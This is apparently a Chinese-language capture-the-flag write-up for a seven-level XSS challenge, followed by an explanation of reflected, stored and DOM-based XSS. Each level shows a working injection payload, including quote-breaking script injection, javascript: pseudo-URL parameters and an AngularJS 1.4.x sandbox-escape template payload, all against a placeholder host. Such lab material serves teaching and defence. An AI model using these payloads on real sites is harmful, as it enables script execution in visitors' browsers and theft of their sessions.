一、解题思路
首先启动靶机进入靶场,优先查看使用说明。
这个靶场属于闯关模式,只有通过所有关卡最终才能拿到 flag。
1. 第一关
看到 URL,直接构造 payload <script>alert(1)</script>,即可成功触发。
http://target.com/level1?username=<script>alert(1)</script>
2. 第二关
使用第一关的套路,页面上没有回显,查看源代码发现存在 JS 过滤代码,username 被函数 escape 进行 URL 编码。
<script type="text/javascript"> if(location.search == ""){ location.search = "?username=xss" } var username = 'xss'; document.getElementById('ccc').innerHTML= "Welcome " + escape(username); </script>
需要绕过赋值代码。使用 ' 闭合前边的 ',加上 alert(1);,并在后边使用 ' 闭合。
http://target.com/level2?username=';alert(1);'
3. 第三关
页面无回显,源代码发现输入的查询参数中多了一个 / 和 '。
改造第二关的方法进行绕过:
'';alert(1);'
http://target.com/level3?username='';alert(1);'
4. 第四关
页面死循环,查看源代码分析 JS 逻辑。代码中使用 jumpUrl 作为跳转目标 URL,可以使用 javascript 伪链接执行代码。
jumpUrl=javascript:alert(1)
http://target.com/level4?jumpUrl=javascript:alert(1)
5. 第五关
页面只存在一个查询表单,输入会有报错回显。查看源代码发现定义了两个变量,需要绕过这两个变量。
http://target.com/level5?autosubmit=1&action=JavaScript:alert(1);//
6. 第六关
输入的参数被直接打印在页面上。查看源代码发现引入了 AngularJS。
<script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"></script>
此处存在 XSS 模板注入(AngularJS 客户端模板注入)。使用 {{7*7}} payload 验证是否存在,页面打印结果说明存在漏洞。
Angular(v1.4.0-v1.4.9) 沙箱逃逸 payload 如下:
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1//');}}
7. 第七关
完成所有关卡挑战。
二、XSS 漏洞介绍
1. XSS 简介
跨站脚本攻击 XSS(Cross Site Scripting),为了不和层叠样式表 (CSS) 的缩写混淆,故将跨站脚本攻击缩写为 XSS。恶意攻击者往 Web 页面里插入恶意 Script 代码,当用户浏览该页面时,嵌入 Web 里面的 Script 代码会被执行,从而达到恶意攻击用户的目的。
2. XSS 分类
(1)反射型 XSS
攻击方式:攻击者通过钓鱼链接等方式诱导用户点击恶意 url,当目标用户点击该 url 时,向对应的服务器发送请求,然后服务器将带有恶意代码的数据发送给目标用户的浏览器,浏览器解析服务器返回的代码,此前攻击者注入的恶意代码就会执行。
(2)存储型 XSS
攻击方式:攻击者在发帖的过程中,将恶意代码连同正常信息一起注入帖子的内容中。攻击者发布的帖子会被服务器存储下来,恶意代码也永久的被放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本会在他们的浏览器中得到执行。
(3)DOM 型 XSS
攻击方式:攻击者诱导用户点击恶意链接 url,然后客户端执行相关攻击代码,发送相关信息 or 相关操作。 DOM 型与服务器没有关系,不需要与服务器进行交互,攻击纯粹发生在客户端。
